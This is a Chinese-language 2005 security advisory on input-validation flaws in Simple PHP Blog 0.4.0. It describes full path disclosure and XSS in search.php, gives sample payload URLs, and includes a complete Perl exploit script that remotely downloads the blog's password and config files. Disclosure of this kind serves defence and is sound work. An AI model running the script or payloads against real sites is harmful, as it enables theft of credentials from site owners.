sphpblog多个输入验证漏洞
2005-08-18
系统编号:
WAVDB-00547
BUGTRAQ: 13170
影响版本:
Simple PHP Blog 0.4.0
程序介绍:
Simple PHP Blog是一款无需数据库支持的简单Blog程序。
漏洞分析:
sphpblog中存在多个漏洞，起因是应用程序没有正确的验证用户输入。远程攻击者可以利用这些漏洞获取敏感信息或执行任意代码。
A. 完整路径泄漏
http://[Url]/sphpblog/scripts/sb_functions.php
Ex:
Warning: main(scripts/sb_fileio.php): failed to open stream: No such file or directory in
/var/www/sphpblog/scripts/sb_functions.php on line 52
Fatal error: main(): Failed opening required 'scripts/sb_fileio.php'
(include_path='.:/usr/share/pear') in
/var/www/sphpblog/scripts/sb_functions.php on line 52
B. search.php跨站脚本漏洞
http://Url/sphpblog/search.php?q=[XSS]
http://[Url]/sphpblog/search.php?q=%3Cmarquee%3Ewe+are+a+like%3C%2Fmarquee%3E
http://[URl]/sphpblog/search.php?q=
漏洞利用:
#!/usr/bin/perl -w
# Remote grabbing sphpblog password & config file by y3dips
# Bug find by y3dips <http:// y3dips echo or id>
# Bug published at http://echo.or.id/adv/adv12-y3dips-2005.txt
print \n* Remote grabbing sphpblog password & config file by y3dips *\n ;
require LWP::UserAgent;
if(@ARGV == 1)
{
$target= $ARGV[0];
my $ua = LWP::UserAgent->new;
$ua->agent( MSIE/6.0 Windows );
$ua->timeout(10);
$ua->env_proxy;
my @url = ( http://$target/config/password.txt , http://$target/config/config.txt );
foreach my $urlz (@url) {
my $injek = $ua->get($urlz);
print \n-------------------------------\n ;
if ($injek->is_success)
{ print $injek->content;}
else
{die $injek->status_line;}
print \n-------------------------------\n ;
}
}
else {
print Use: perl $0 [www.target.com] \n ;
}
# EOF y3dips(c)2005
# greetz :
# @echo|staff = qw/ m0by the_day z3r0byt3 comex k-159 c-a-s-e s`to lirva32 anonymous /;
# @waraxe.us = qw/ waraxe LINUX shai-tan all_guys /;
# @echo = qw/ newbie_hacker@yahoogroups.com #e-c-h-o_@_DALnet /;
解决方案:
厂商补丁：
Simple PHP Blog
---------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.simplephpblog.com/index.php
信息来源:
<*来源：y3dips （y3dips@echo.or.id）
Alexander Palmo （apalmo@bigevilbrain.com）
链接：http://echo.or.id/adv/adv12-y3dips-2005.txt
http://marc.theaimsgroup.com/?l=bugtraq&m=111359259108644&w=2
*>